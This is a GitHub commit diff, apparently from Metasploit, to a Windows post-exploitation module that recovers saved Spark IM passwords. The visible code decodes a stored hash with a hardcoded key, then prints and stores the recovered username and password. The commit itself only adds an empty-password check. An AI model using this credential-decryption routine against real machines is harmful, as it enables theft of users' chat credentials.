Skip to content

Commit da49f67

Browse files
committed
Only show the password when exists
1 parent d3d595d commit da49f67

File tree

1 file changed

+1
-2
lines changed

1 file changed

+1
-2
lines changed

modules/post/windows/gather/credentials/spark_im.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -40,8 +40,6 @@ def initialize(info={})
4040
# decrypt spark password
4141
def decrypt(hash)
4242
# code to decrypt hash with KEY
43-
print_status("Starting to decrypt password hash")
44-
4543
encrypted = hash.unpack("m")[0]
4644
key = "ugfpV1dMC5jyJtqwVAfTpHkxqJ0+E0ae".unpack("m")[0]
4745

@@ -55,6 +53,7 @@ def decrypt(hash)
5553
password = ::Rex::Text.to_utf8(password)
5654

5755
user, pass = password.scan(/[[:print:]]+/)
56+
return if pass.nil? or pass.empty?
5857
print_good("Decrypted Username #{user} Password: #{pass}")
5958

6059
store_creds(user, pass)

0 commit comments

Comments
 (0)